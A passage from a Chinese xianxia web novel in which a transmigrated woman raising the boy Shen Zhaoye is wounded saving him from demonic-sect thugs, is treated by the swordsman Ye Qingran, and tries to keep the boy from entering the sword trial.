宋藏星余光往屋里瞟了一眼,声音反而更大了:“你还委屈上了?每天好吃好喝供着你,还得看你脸色说话是吧,脾气差,事又多,要不是有人托我照顾你,鬼才理你呢,你就算不是人也得有良心吧?怪不得人家都说白眼狼,真是没冤枉了你。” 屋里,沈昭野面色阴沉,指尖按着铜板在桌上转着圈。 门外又传来一句怒骂,“没心没肺的东西,养你有什么用。” 铜板叮地倒在桌上,沈昭野冷着脸,盯着它,一动不动。 两个人就这么莫名其妙地冷战了一下午,宋藏星好几次想要同他说话,都被他无视。 晚饭时还是她先服了软:“今日心法练得如何?” 沈昭野闷声不吭。 宋藏星把筷子一搁:“我跟你说话呢。” 沈昭野懒懒抬眼:“我没心没肺怎么听得懂?” 宋藏星握紧拳头,冷静,冷静,他不过是一个纸片人,不值当为他生气。 “还气呢?我又不是在说你,我骂罡风呢。” 沈昭野别过头。 宋藏星恨不得将碗里的粥扣他脸上,还是带着笑意道:“过几日我送你个礼物好不好?” 沈昭野转过头,声音还是很冷:“送我礼物做什么?” 宋藏星凑近些:“送礼物还需要什么理由,自然是喜欢你,想对你好。” 沈昭野一怔:“又在讨好我。” 他忽然有些烦躁,她到底想从周楚身上得到什么? 正出神,头顶忽然被人轻轻按了一下,抬眼,宋藏星正笑眯眯地看着他:“明天咱俩一块上山如何?” “你不是同别人一起吗?” “别人怎么能同你比?我还没见过你打猎的样子呢。” 宋藏星见他嘴角上扬就知道这法子奏效,到底是小孩,不禁夸。 “那这次你无论如何都得叫我。” “当然!”这次就是扇巴掌也得把他扇醒,宋藏星莫名生出了期待。 沈昭野脸色缓了缓,低头继续吃饭。 宋藏星又问道:“那你现在能说说,你今天为何生气吗?我又哪里做得不对了?” 沈昭野也说不清那股躁意究竟从哪来的,闷声道:“没有,是我自己练功进展不佳。” 宋藏星心中冷笑,这都能迁怒到她头上了?她真就连那扫地的丫鬟都不如,丫鬟好歹还有份工钱! 按捺住心中忿忿,她道:“跟你商量个事。” 沈昭野点头。 “你那个剑修甄试,什么时候报名?” “十月初五。” 那不就是下个月,宋藏星眉头一拧,“必须得本人去报名吗?” “报名也要筛选的,当然得本人。”沈昭野侧头看她,“有事?” 宋藏星双手放在桌上,讨好道:“要不我们参加后年的甄试?” 沈昭野:“有区别吗?” “当然有!你看,你现在连把木剑都没有,万一去了被筛下来,多丢人。”她说着,拉了拉他的袖子,“我们不如在这儿再待一年,正好你也跟王大哥再学学……” 沈昭野出声打断:“我看是你想留在这儿吧。” “我留在这儿有什么用,我真是为你考虑。” “再过两年我都十七了,剑修甄选十二岁就能参加,我不想再等了。” 宋藏星一脸为难地趴在桌子上,嘟囔道:“就差一年嘛……” 沈昭野忽然凑近,脸几乎贴到她面前:“你到底在打什么主意?” 宋藏星也没躲,只是含糊道:“我就是想晚一年,不行吗?” 沈昭野等了片刻,见她依然不肯说真话,冷着脸坐回原处:“没个说服我的理由,我不会同意的。” 宋藏星将头磕在桌子上,长叹一口气,本以为两人关系比之前好了些,他会稍微听自己的话,怎么还是个犟种。 次日清晨,宋藏星正摩拳擦掌地站在门口准备武力叫他起床,门一开,沈昭野已经穿戴整齐,站在她面前。 “醒了?”她有些失望。 “怕你又忘了叫我。” 宋藏星打量着他破损的裤腿:“回头去镇上给你买两身新衣裳。” “那明日一起去?” 宋藏星连忙摆手:“你在家待着就行,可不能随便去镇上,外面很危险的。” 沈昭野懒得拆穿她,顺手拎起墙边的竹篓,往她背上一挂,又从院墙上取下自己的木弓和箭袋,这才往门口走去。 宋藏星嘴角一弯,快步跟上。 两人行至半山腰,宋藏星忽然指着高处一块横生的石台:“看见没,当初你把我推下来,我就是掉到那里,才没摔死。” 事到如今提起这事,她还咬牙切齿。 沈昭野抿着嘴,欲言又止,最终也没蹦出一个字,索性闷头往前走。 宋藏星朝着他后背,虚空踹了一脚,指望他心生愧疚还不如祈祷罡风开口说话。 她一路摘着药草,目光四处搜寻着灵芝,上次一只居然卖了十文钱,可惜品相一般,不然能换更多。 见沈昭野在不远处正拉弓瞄着树梢,宋藏星不再管他,一头扎进树林深处,专心寻觅起来。 忽然远远瞧见树下,硕大的一朵白色。 这么大的灵芝? 她心中一喜,想离近点看清些,那团白色猛地动了一下。 一个人影手忙脚乱地提起裤子,转过身来。 四目相对。 “啊啊啊啊啊啊啊啊!” 两人同时叫了出来。 宋藏星只觉眼睛受到了污染,狂叫着往回跑。 沈昭野听到动静快步冲过来:“怎么了!” 宋藏星一把拽住他的手臂,另一只手胡乱往身后指,眼睛死活不敢睁开:“屁股!屁股!我的眼脏了啊啊啊啊!” 沈昭野反手握住她的手臂将她拉倒身后,看向追来的胖子,身后还跟着个瘦高个。 “大哥,这儿怎么还会有人!” 瘦高个冲过来对着胖子喊道。 胖子骂了一句,看向他俩:“你们是谁?” “你们又是谁?”沈昭野握紧手中的木弓。 宋藏星自他后背探出头,抬眼看他,第一次感觉这人还有点用。 “爷爷我是——”瘦高个挺了挺胸,话刚出口,后脑勺就挨了一巴掌。 “人家问你你就说?”胖子瞪他一眼,转头打量沈昭野,“你们打哪儿来的?” 瘦高个委屈地站好,不吭声。 沈昭野目光扫过二人腰间的大刀和胳膊上的梅花,侧头低声道,“是灵霄宫的人。” 见宋藏星瞪着个大眼小声又解释道:“是魔教的人。” 宋藏星点点头,那就是反派喽喽了。 这种人一般都是给主角送经验的,她刚挺直腰板,又听到沈昭野在她耳畔轻声道:“他们很强。” 宋藏星又缩了回去,小声道:“那咋办?要不我先跑,绝不给你拖后腿。” 沈昭野斜睨她一眼,握紧着她的手,冲那两人道:“无冤无仇,还请两位大哥放我们回去。” “无冤无仇?这娘们儿看了我的身体,得为我负责。” 宋藏星脸一抽,好刻板的反派发言。 “左右你也不吃亏,何必动怒?”沈昭野语气平静。 宋藏星咽了咽口水,听听,这说的是人话吗? “少废 话,要么留下银子,要么留下女人。” 沈昭野:“那得罪了。” 宋藏星蔑视地看向反派二人组,上,让他们瞧瞧你最近的修行成果。 腰板还没再次挺直,沈昭野抄起她背上的竹篓往前一扔,连着木弓一并砸了过去,拽着她就往回跑。 宋藏星来不及反应,便跟着他一路狂奔,脚下的枯枝踩得噼啪响,身后那两人的脚步声紧咬着不放。 “你不打啊?”宋藏星喘着气,腿已经发软。 “打不过!”沈昭野头也不回,拽着她绕过一棵大树。 身后传来胖子的骂声:“站住!跑什么!” 宋藏星心想,不跑等着挨打吗,脚下一绊差点摔倒,被沈昭野拦腰捞起,拽着继续跑。 耳边风声呼呼,也不知道跑出去多远,后面那两人似乎也累得不轻,暂时拉开些距离。 到岔路口,宋藏星一把拉住他:“不能把他们带到村子!” 沈昭野回头看了一眼:“你引开他们,我回去喊罡风。” 宋藏星眨眨眼,他是不是说反了? “不行,咱们老周家就没有丢下别人逃跑的道理。” 沈昭野不耐烦道:“那我引开他们,你去喊罡风。” “好的。”宋藏星头也不回向山下扎去。 刚跑到一半,她猛地刹住脚,回头一看,心里凉了半截。 沈昭野不知什么时候被那两人追上,胖子正把他按在地上,瘦高个站在旁边,弯着腰喘气。 你的主角光环呢?这也太菜了! 宋藏星咬了咬牙,猫着腰往回摸,贴着树丛,一步一步挪到一块大石头后面,蹲下来,屏住呼吸。 胖子一脚踩着沈昭野的后背,抬头骂道:“那女人呢?” “跑了。”瘦高个说。 “跑了?”胖子啐了一口,“他娘的,敢拿竹筐砸你爷爷脸!差点破了相!” 他朝瘦高个一扬下巴,“去,把那女人抓回来。” 瘦高个应了一声,提刀往山下追去。 宋藏星缩在石头后面,大气不敢出。 瘦高个从她身前不远处经过,脚步踩在落叶上沙沙响,竟没往她这边看一眼。 她感觉心脏已经提到嗓子眼,手心全是汗,大气都不敢喘,再也不说这金手指没用了。 胖子骂骂咧咧,拽着沈昭野衣领,翻了个身,大刀一提:“小子,碰到你爷爷我,算你倒霉。” 沈昭野没吭声,偏过头,眼睛却往宋藏星藏身的方向瞟了一眼。 右手已经摸到袖中藏着的那截断箭,一下,只要一下,他就能捅进胖子腰侧。 可他没有。 胖子没注意到他的变化,骂骂咧咧地蹲下来,用刀柄拍了拍他的脸:“老实交代,你们从哪儿来,这附近是不是有村子?说出来我兴许还能留你一命。” 宋藏星躲在石头后,紧紧扒着石壁,低头扫了眼身侧,连根棍子都没有,就是冲出去也是送死。 沈昭野依旧一句话不说。 胖子被他这副漫不经心的样子激怒了,起身提刀就要往下劈。 沈昭野等了等,回应他的只有耳边的风声,他眼神一暗,正要抬手刺去—— 一个身影冲了出来。 “什么东西!” 胖子被吓地往后一跳,嘴里咒骂一句,刀锋一偏。 怎么这时候出来了?沈昭野手中的断箭来不及收回,可胖子那一偏身,箭尖擦着对方的衣角滑了过去,刺了个空。 胖子慌乱中反手一刀,正砍在冲过来的宋藏星背上,血溅出来,宋藏星闷哼一声,扑倒在地。 “姑姑!” 沈昭野愣在原地,随即提气运功,丹田中一股真气涌出,沉如铁锤,猛如重拳,沿着经脉轰然撞开。 挽月心经,竟在此时突破到三层。 他来不及多想,扑过去扶住她:“姑姑!” 别晃了,再晃真要散架了。 宋藏星疼得眼前发黑,嘴张了张,却发不出声,脑子里只剩一个念头,不能白挨这一刀,怎么也得把词儿说了。 她咬着牙,声音从齿缝里挤出:“…你没事我就放心了。” 胖子方才被那股真气震得倒退两步,一屁股跌坐在地,骂骂咧咧爬起来,还没站稳。 一支长箭破空而来,正中他胸口,当场毙命。 恰好回来的瘦高个吓得抬头,只见高处,一青衣男子迎风而立,身后背着一柄长剑,正弯弓对向他。 “剑……剑仙饶命!”瘦高个扑通跪地。 青衫男子面无表情松手,一箭穿喉。 8.彩云易散琉璃脆 青衫男子从高处一跃而下,落在两人面前。 宋藏星自沈昭野怀里抬眼,来人眉目阴柔,气质清冷,像一柄藏在鞘中的剑。 “没事吧?”青衫男子蹲下,视线与她齐平。 宋藏星虚弱地扯了扯嘴角,你看我像没事的样子吗? 男子从怀中取出一颗药丸,递到她嘴边,沈昭野伸手抓住他手腕。 “这是春华丹,止痛有奇效。” “我如何信——” 话没说完,宋藏星已伸长脖子,一口吞下,当真是灵丹妙药,不过片刻,后背的剧痛竟霎时消了大半。 沈昭野责怪道:“万一他不安好心......” 谁还能有你心黑,宋藏星有气无力道:“再磨叽会儿我都要疼死了。”她看向男子,“这位公子一看就是好人。” 沈昭野气结,别过头。 “春华丹只是暂时麻痹疼痛,伤口还需尽快处理。” 男子说着,为她点了几个止血的穴位,抬眼看向沈昭野,“这附近可有歇脚的地方?在下略通些医术。” 沈昭野没多言,蹲下身将宋藏星背起来,一路往家走。 青衫剑客跟在身后,时不时打量着周围环境。 三人一前一后,回到竹苑。 罡风听见动静从院里冲出来,低吼着挡在门口。 沈昭野轻喝一声,它才退到一边,眼睛仍盯着那袭青衫。 宋藏星被放到床上趴着,背后的血早已浸透衣衫。 青衫剑客让沈昭野端盆清水,沈昭野端来水盆放站在床边:“要不,我来?” 宋藏星趴在枕头上,没好气地瞪他:“你会?” 沈昭野不吭声了。 青衫剑客笑了笑,说了句得罪,将宋藏星后背的衣衫轻轻掀开。 沈昭野连忙转过身去,盯着门口。 手帕沾着清水刚碰到伤口,宋藏星就嘶了一声,接着便是一连串的惨叫,声音越叫越大。 沈昭野背对着她,低头,那枚断箭自袖口滑出,若不是他非要试探...... 青衫剑客轻声安抚道:“是春华丹的药效过了,忍一忍,我尽快。” 宋藏星只觉这声音如沐春风,如泉入耳,可背上的伤该疼还是疼,只得咬着枕头,呜呜咽咽地骂着。 伤口清理完,又上了药,她总算缓过一口气。 “多谢公子。”宋藏星趴在枕头上,偏头看他,“敢问公子尊姓大名?” 男子笑道:“叶清然。” 宋藏星差点从床上弹起来,动作扯住背后伤口,又叫了出来:“雨花剑叶清然?” 沈昭野上前一把扶住她肩头,皱眉低斥道:“小心点,伤口再扯开了。”说着又替她理了理滑落的衣领,“这你倒知道了。” 宋藏星讪讪闭嘴,表面平静,心里狂叫,千防万防,怎么把男主直接带到家了! 叶清然看向沈昭野,饶有兴致:“方才见小兄弟提气,内力不凡,敢问师承何处?” 沈昭野伸手将枕头重新摆正,扶着宋藏星慢慢趴下,头也不抬地答了一句:“无师无门。” 叶清然又问:“可否告知姓名?” 沈昭野刚要开口,宋藏星猛地从枕头上撑起身子,脱口而出:“狗蛋!他叫狗蛋!” 沈昭野僵住,侧头看她,眼神愕然。 叶清然也愣了一下,下意识哦了一句。 宋藏星深呼一口气,抬眼对上沈昭野审视的目光,连忙别过头,侧趴在床上装死。 叶清然扫了一眼屋内的陈设道:“灵霄宫如今真是越发猖狂了,那二人纹身不遮,兵器不换,竟敢大摇大摆踏入南明离洲。” 沈昭野摇头:“我不认识他们。” 叶清然笑道:“少侠不愿说出师门也无妨,方才见你内力既非南剑也非北拳,路子虽杂,却刚猛过人,实属难得。” 拉倒吧,被人踩在脚下的可不就是他,宋藏星嘴角微扯,忽又耳朵一动,瑶光门的挽月心法,怎么会不像南剑? “但我见你身上并未佩戴剑修腰牌,为何不去参加甄试,如今魔教势力壮大,听剑阁正缺你这样的人。” 沈昭野看了眼趴在床上,耳朵快竖到房梁上的宋藏星:“眼下我也不便出门。” 叶清然解下腰间玉佩递过去:“我在听剑阁尚能说上几句话,近来我都会在青阳镇,若少侠得空,可去镇上的徕原客栈寻我。” 他索性说得更加直白,“我对你很感兴趣。” 宋藏星越听越不对劲,再这么说下去,自己这一刀就白挨了,她猛地咳起来,再次扯到伤口,疼得直叫。 沈昭野立刻转过头:“怎么了?” “想喝水。”宋藏星眼巴巴望着他。 “我去给你拿。”他起身见茶壶空了,转身出了门。 宋藏星再次松了口气,早知道挨一刀这么管用,她天天给他上演英雄救美。 叶清然默默收回玉佩,低声道:“你似乎不太想让他成为剑修。” 宋藏星想也没想道:“没啊,我只是觉得还是靠自己得来的比较踏实,靠别人,终究不长久。” 叶清然不恼,反而点头:“说得是。”他忽然话锋一转,“姑娘可曾修习什么功法?” 宋藏星怕说错话露馅,只摇头。 叶清然淡淡道:“方才你不知从何处冲出来时,周身有股真气护体。” 宋藏星差点笑出声,真气?她连气是什么都摸不着。 沈昭野见她避而不谈嘴角一勾,又收了回去:“姑娘不愿说我便不问。” 她是不知道,宋藏星又觉出哪里有些不对劲,难不成他早就站在那看了?她张了张嘴,想问又觉得不妥,话到嘴边咽了回去,算了,先办正事。 她眼珠一转,侧头看向叶清然:“剑仙大人……可有心上人?” 叶清然失笑:“在下已成亲多年。” “啊?”宋藏星差点咬到自己舌头,叶清然看着也有二十五六,年上就算了,这周楚还好人妻? 正想着,一碗水递到嘴边。 她欣然伸头就着碗边抿了一口,龇牙咧嘴道:“想烫死我?” 沈昭野冷笑道:“心这么热,还怕烫啊?” 什么乱七八糟的,宋藏星瞪他,他也不甘示弱地瞪回来,两个人像斗鸡一样你来我往。 叶清然摇摇头,起身告辞。 宋藏星巴不得他快走,叶清然本想让沈昭野送他到门口,宋藏星却拽住沈昭野的手,说自己离不开人。 叶清然也不勉强,独自走到院中,罡风蹲在墙角盯着他。 叶清然目光落在那匹狼身上,想起方才那人喊它罡风,他回头望了眼敞开的房门,片刻后转身离去。 屋内,宋藏星趴在床上,侧头望着叶清然离去的方向出神。 沈昭野搬来椅子在她旁边坐下:“人家都成亲了,你还惦记?” 宋藏星抬眼看他,眼神复杂:“可不就是说,人家都成亲了,你还惦记?” “我惦记谁了?” 宋藏星注视着他,语重心长:“狗蛋啊。” 沈昭野眼神一凛。 她连忙改口:“周楚啊,你一定要记得,很多事都是分先来后到的,是你的一开始就是你的,不是你的,抢也没有用。” 沈昭野幽幽地盯着她,沉默片刻,忽然问:“那要是一开始是我的,后来又不属于我了呢?” 宋藏星本来想说那也不能去抢,又觉得不对,这样教育孩子,以后不得成受气包。 她认真想了想,改口道:“如果是你的,你自然要好好拿着,咱不能当个窝囊废,谁跟你抢, 你就打他们个落花流水。” 沈昭野嘴角上扬,低声应道:“好,我听姑姑的。” 宋藏星见他如此乖巧,刚伸手要摸,想起他每次都很抗拒,便要收回。 沈昭野忽然低头,轻轻靠了上去,发顶贴住她的掌心。 宋藏星手指触碰到他硬朗的发丝,手指微微收拢,揉了两下。 “周楚啊。” “嗯。” “该洗头了。” 沈昭野猛地坐直,瞪着她,脸上泛起一层薄红。 宋藏星被他这副模样逗得忍不住笑出声:“你怎么突然变得这么呆。” 沈昭野别过头不理会她的调侃。 宋藏星忽然开口:“不准去找那个叶清然,也别参加明年的剑道甄选,好吗?” 沈昭野缓缓蹲下,与她平视:“我能问下原因吗?” 宋藏星将脸埋进枕头。 她也不知道怎么做才是对的,可眼下许多事,他都有自己的主意,她根本拦不住,更无法把控。 至少晚一年,等叶清然离开这一带再说,时间线发生偏差,原著走向说不定也会改变,那她这一刀就没白挨。 “我只能跟你说如果你答应我,不管之后发生什么事,我都会站在你这边,你想做什么,我都支持你。” 宋藏星的声音闷在枕头里,空口白话,谁不会说,更别提连她自己都觉得这承诺毫无吸引力。 沉默在屋内蔓延。 沈昭野垂着眼,盯着她散在枕上的发丝,许久没有动。 他不知道她到底在怕什么,她说过,她只是受人之托,可什么样的托付,能让人连命都不要了去挡刀? 良久。 “……好。”他听见自己说。 “姑姑可要说话算话。” …… 养伤这段日子,宋藏星算是体会到了什么是皇帝轮流做,今年到我家。 沈昭野这个小魔头不仅包揽了上山采药的活,洗衣烧菜也全做了。 甚至烧的菜比自己做的还好,那之前还总装着一副十指不沾阳春水的模样。 宋藏星趴在院中躺椅上,斜睨他:“原来你会做饭啊。” 沈昭野坐在一旁剥山果,低头道:“娘走得早,不做饭就只能饿肚子,日子久了就什么都会点。” 宋藏星撇着嘴:“怎么动不动就开始卖惨,这我还咋吃得下。” 沈昭野没接话,把手里剥好的山果递到她嘴边,宋藏星低头从他掌心叼走。 嚼了两下,忽然瞪他:“不对啊,你爹呢?” 沈昭野一怔,眨眨眼:“他被逐出师门后就没再回来过,想必也是在游历天下时结识的姑姑吧。” 宋藏星不自在地点点头,没再问。 沈昭野垂下头,嘴角上扬。 宋藏星道:“过几日你随王大哥去镇上,把这些日子攒的草药兽皮都送到回春堂。”她眼珠一转,像是自言自语,“这次……应该够了吧。” 她还是有些心疼,什么破木剑要五百文! “什么够了?” 宋藏星摇摇头,准备当个惊喜:“换来的银子,一个铜板都不许贪,全给我带回来。” 沈昭野笑着看她,语气乖巧:“好啊,我都给姑姑。” 宋藏星斜他一眼,这话怎么这么耳熟。 她咳了一声,故作正经:“等回头带你去镇上买衣裳。” 沈昭野低头扫了眼身上,抬头道:“我觉得这身挺好的,倒是可以给姑姑置办两身。” “都买,都买。” 宋藏星心里又肉疼了一下,买了那把木剑,不知道还能剩几个铜板。 她忽然正色,目光定定地看着他:“办完事就回来,别到处乱跑。” 沈昭野对上她的视线,垂下头:“好。” 9.一腔闷气大如斗 自卧床到现在又过了七天。 期间王猎户和邻居大娘来看过几次,宋藏星托王猎户照应着沈昭野,生怕这小子上山又惹事。 好在上次去镇上,他表现得很乖,全程跟着王猎户,没乱跑,还带回来半贯钱。 宋藏星摸着那沉甸甸的铜板,心里乐开了花,她取出五枚递给沈昭野:“下次去镇上,买点地瓜干吃。” 上次买的地瓜遇上雨天,全发了霉,让宋藏星难受了好几天。 沈昭野没拒绝,顺手把铜板揣进怀里。 山上一胖一瘦两具魔教尸体被沈昭野不知扔到了什么地方。 去之前宋藏星让他把佩刀带回来,沈昭野说离朱岛锻造的刀和州内材质不同,提着刀一眼就能认出是魔教的人。 宋藏星恍然:“怪不得叶清然那日说他们敢不换兵器?那个离朱岛离我们很远吗?” 好多事她都不知道,起初还问得小心翼翼,见他也没追问,宋藏星也不再不懂装懂,哪儿还没有孤陋寡闻的人,如今她得多了解这个世界才行。 沈昭野在床边坐下:“离北俱芦洲更近些,需要坐船。” 宋藏星没再说什么,结果沈昭野下山还是把那两把刀带了回来。 “不是说不能用吗?” 沈昭野把刀搁在桌上,两把刀并排躺着,刀鞘上都有一朵十字形梅花。 “看样式来自离朱岛,可刀刃却是南明离洲的玄铁。” 沈昭野低头看着那两把刀,眉头微蹙,像是在想什么。 宋藏星见他这副模样,忙坐起身,可别又琢磨出什么来,万一真跟魔教扯上关系,她这辈子别想回家了。 她忙摆手:“别想了,扔了吧,省得惹麻烦。” 沈昭野没接话,偏头看她:“你能起来了?” 宋藏星眨眼不语,大概是叶清然的药太管用,她后背伤早已愈合,只剩轻微疼痛。 可难得被周楚伺候着,她实在舍不得这种衣来伸手,饭来张口的好日子,便装作没听见。 沈昭野却突然俯身撑在她身侧,凑近盯着她。 宋藏星忙扶着腰,痛叫:“哎呦,我怎么给忘了,该晒太阳了,我要晒太阳!” 沈昭野眼睛一眯,手臂探入她腰后,将人从床上捞了起来:“方才回来就备好了,只是姑姑近来念经总是偷懒,这会儿总该有空了吧?” 宋藏星暗自垂泪,怎么还上瘾了呢。 日头刚过,山中本就清凉,此刻又起了薄薄的风,吹得人心旷神怡。 宋藏星歪在躺椅上,手里捧着佛经,有一搭没一搭地念着,另一只手从碟子里捏瓜子磕,瓜子壳碎碎地落在地上,偶尔还落到罡风头上,它也不生气,只一双眼盯着案上的野果。 沈昭野单手撑着半张脸,目光落在远处的竹林。 不知为何,宋藏星近来念佛经时感觉比之前顺了许多。 一来观南也就留下四五本,翻来覆去都念了好几遍,二来这佛经不像现世那般晦涩,读起来朗朗上口。 “法本无生何处留,空空静静最难求。得来万法皆无用,身形应当似水流。” 念完这句,她举着书翻来覆去看了个遍,封皮上一个字也没有:“这不会是观南自己写的吧?” 沈昭野不知何时目光落到她身上,心思却神游天际之外,没有接话。 “让我念经,你还不好好听!”宋藏星卷起经书敲到他头上。 沈昭野吃痛,捂住头刚要开口,院外传来王猎户的声音:“藏星啊。” 宋藏星忙收回手,抬眼笑道:“王大哥,你怎么来了?” 沈昭野到嘴边的话咽了回去,默默坐回小板凳,低头去摸罡风的头,手劲比平时重了些,罡风不满地哼唧出声。 王猎户刚从镇上回来,说回春堂近来正在高价收凤尾草。 “凤尾草?那咱这山上不遍地都是?”宋藏星腾地坐直身子,双脚一盘,眼神明亮。 王猎户笑呵呵道:“在咱们这多见,别处可没有,大伙儿听说消息都上山采去了,我来告诉你一声。” 宋藏星飞快扭头看向沈昭野,他不知什么时候已经起身,竹篓都背好了。 她竖起大拇指:“小心点,我在家等你回来。” 沈昭野扫了一眼方才动如脱兔的宋藏星,没好气道:“晚上我要喝鸽子汤。” 转身便往门口走。 宋藏星悲愤地摸着罡风后背的灰毛:“我的好日子到头了。” 沈昭野到傍晚才回来,宋藏星刚炖上鸽子汤,连忙迎上去,侧头看见他背篓里那点可怜的凤尾草,脸一下子垮了。 正要开口,却见他脸上蹭灰,头上带草,垂在门口,一声不吭。 宋藏星骂人的话又收了回去:“怎么回事?” 沈昭野抬手拂掉头上的草屑,闷声道:“没抢过他们。” “谁?那群大叔大婶?”宋藏星叉起腰,“你年轻力壮的,抢不过他们?” 什么挽月心经,索性烧了拉倒,一想到自己还因为那本破心经被推下悬崖,宋藏星更气了。 沈昭野没应声,绕开她往屋里走。 宋藏星跟上去,好声劝道:“好了好了,别气了,那些人这会儿的战斗力,剑仙来了都得掂量掂量。” 她也从没抢到过打折的鸡蛋。 沈昭野坐到桌前,难得露出孩子气:“我到那儿,他们已经把地圈好了,说那块是自家的,谁也不能抢,我只能在边边角角捡点剩的。” 宋藏星一拍桌子:“岂有此理!各凭本事不行?凭什么他说是他的就是他的?你怎么不去跟他们讲理!” “你说了呀,先来后到。”沈昭野抬眼看她,“他们都一把年纪了,我要是动手,你肯定怪我。” 宋藏星一愣,歪头看他,忽然笑了:“你是这么想的呀。” 沈昭野别过脸:“早知道一把火全烧了。” “使不得,使不得。”宋藏星忙抓住他的手腕,“你做的很对,我很开心。” 沈昭野看着她,说这话时眉毛眼睛都弯弯的,看来是真的开心,心口忽然被芦苇挠了一下。 ...... 次日清晨,宋藏星早早来到王猎户家,想托他把那柄木剑买回来。 “王大哥,到时候可得包好,我怕那小子看出来。” 王猎户掂了掂手里的半贯钱,笑道:“这么多钱,全拿出来换把木剑?不心疼?” 宋藏星眼睛直勾勾地盯着那串钱,前几天它还在自己小竹箱里可爱地躺着。 她咽了咽口水:“本来就是他自己上山赚的,我心疼什么?” “行。”王猎户笑呵呵地应了。 快到晌午,王猎户回来了,不光带回了木剑,还系了个剑穗。 穗子是用深蓝色的丝线编的,底下坠着一颗木珠。 “这怎么行?王大哥,你也对他太好了。”宋藏星接过来,摸了摸穗子。 “都是街坊邻居客气啥,再说,我看这小子将来准有出息,送个剑穗没几文钱,我日后也能沾沾光。” 宋藏星笑着收下。 王猎户又从怀里掏出一枚木簪,簪头刻着朵小小的兰花。 他脸色微红,有些不好意思地递过去:“在街上瞧见的,想着……挺适合你。” 宋藏星愣了一下,接过簪子,在手里转了转:“真好看,我早就想要个这样的簪子了。” 她抬起头,从袖子里摸出几文钱,“王大哥,这十文钱你收下,算是我自己买的。” 王猎户犹豫地接过钱,揣进怀里。 宋藏星把簪子别到发间,笑着看他:“王大哥,咱们二人义结金兰如何?” 王猎户怔了怔,两手并拢在身前搓了两下。 “你虚长我几岁, 我唤你一声大哥也是真心实意的。”宋藏星认真道,“这些日子多亏你照顾我们,我真的感激你,你是我在这村子遇到的第二个好人。” 王猎户瞬间明白了她的意思,重重点头:“好!” 他没再说什么,转身往家走去。 宋藏星摸着发间的木簪,叹了口气。 沈昭野一早就被他支走去了山上,宋藏星想着快些回去把木剑藏起来,谁知半路恰好撞见从山上下来的他。 她忙把布包的木剑往身后一藏:“回来了?” “嗯。” 沈昭野背着竹篓在她面前站定,“去哪儿了?” “去王猎户家串了个门。” 宋藏星紧张得好像考场作弊的学生。 沈昭野偏头,视线落在她发间:“之前怎么没见你戴过?” 宋藏星下意识想抬手摸簪子,又怕露出身后,硬生生定住:“王大哥送的。” 沈昭野点点头,目光在那朵兰花上停了停,没再多问。 “回家吧。”宋藏星冲他眨眨眼,示意他先走。 沈昭野转身,脚步刚动,余光扫过她身后露出的一角布条,嘴唇微抿,抬脚往回走。 晚饭时,宋藏星端着碗,一边扒饭一边念叨:“王大哥这人真挺实在的,你以后跟他上山打猎,去镇上办事,都对人家客气些,别总冷着脸。” 沈昭野埋头扒饭,嗯了一声。 “人家是真把咱们当自己人照应。”宋藏星又说,“你白天在山上要是碰见他,主动喊声王师傅,别让人家觉得咱们不懂事。” 他又嗯了一声,勺子在碗里搅来搅去。 宋藏星歪头看他:“怎么了?” “没有。”沈昭野放下碗,“我吃饱了。” “才吃了几口。”宋藏星蹙眉,“待会我给你念佛经?你最近心法练得怎么样?” “不用。”沈昭野站起身,“今天有点累,想早点睡。” 宋藏星见他脸色有点差,只当是最近上山累的,便没再说什么,点了点头。 夜里,宋藏星躺下没多久就睡熟了。 隔壁屋里,沈昭野睁着眼盯着漆黑的屋顶。 翻身,被子蒙住头,又掀开。 他强行闭上眼,脑子里又蹦出采凤尾草时王猎户说的话。 “你小子可得快些长大,你姑姑总要成家的,哪能一直带着你。” 他又翻了个身,把脸埋进枕头。 .... 眨眼就到了十月初五,剑修甄选报名的日子。 宋藏星虽然面上不担心,心下却惴惴不安。 虽然周楚近来表现得很乖,也不再提剑修之事,可他总是阴沉个脸,一副生人勿近的样子,问他也不说。 难不成,还是在埋怨自己不让他参加剑修甄试? 昨天傍晚她就找过王猎户,拜托他盯着些周楚,别让他见陌生人,可还是放心不下。 “到了镇上别乱跑,办完事就回来。”她絮絮叨叨地叮嘱,又转向王猎户,“王大哥,麻烦你多看着他点。” 王猎户笑呵呵地应了:“放心吧。” 沈昭野没吭声,背上背篓就走。 到了镇上,王猎户先去回春堂交了草药,出来时沈昭野正站在街边,目光不知落到何处。 王猎户上前拍拍他肩膀,“藏星一个姑娘家,带着你也不容易,你也大了,有些事该自己掂量,别总让她劳心费神的。” 沈昭野忽然偏头:“你们要成亲了吗?” “什么?” 沈昭野嗤笑一声:“你是以什么身份,同我讲这些话?” 少年神色与方才判若两人,王猎户眼前忽然浮现他弯弓射箭时的模样,竟一时说不出话。 “是你?” 沈昭野侧头望去,见叶清然刚好从回春堂出来,正站在门口,眉眼带笑。 10.一念嗔心万恶生 叶清然走到他面前:“你是过来报名吗?” 沈昭野此时心情极差,冷声道:“关你什么事?” “我只同你说几句话。”叶清然侧身挡在沈昭野面前,“不会很久。” 王猎户见此人来历不明,忙拉住沈昭野:“不行,我答应她,得看好你,有什么事就在这说。” 沈昭野猛地甩开他的手臂:“你替谁看好我呢?”他抬眼看了一眼叶清然,往巷子深处走去。 王猎户刚要跟上,被叶清然笑着挡住:“不过说几句话,用不了多久。” 王猎户被他这么一看,到底没敢迈步。 巷子深处。 “有什么事,说吧。”沈昭野难掩心头烦躁,“晚了赶不上驴车。” “真不打算参加今年甄试?”叶清然问完见他没应,又道,“那位姑娘是你?” “和你有关系吗?” 叶清然笑了笑:“看来没什么关系。” 沈昭野:“......” 叶清然又道:“既如此,少侠为何不为自己前途考虑,非要受制于人呢?” 他说着,抬手搭上沈昭野的肩,沈昭野下意识要躲,却发现他掌心犹如千斤坠一般压在他肩头。 他运功去抵抗,仍无法撼动。 沈昭野抬眼与他目光相撞。 叶清然收回手:“今年剑修甄试,我是主考官,你若是能来,我举荐你进听剑阁。” 沈昭野眼神微动,通过剑修甄试,不过是踏入剑道的开始,那些未被门派收录的散修,每月只能领着微薄例银,连个剑道领路人都没有。 听剑阁凌驾于各派之上,是南明离洲剑道至高之处,入了听剑阁,天下剑术,皆可一览。 沈昭野道:“你这么说,我就更不会去了,实力不够,进去了也是自取其辱。” 他沉下声,“更何况,我也答应了她,晚一年再去。” “她?那位姑娘?”叶清然眼神微动,“她似乎对我很是戒备。” 沈昭野不愿多说:“你要说的就这些?” “既然你不愿意,为何还要过来呢?”叶清然看了眼不远处正在向这边眺望的王猎户。 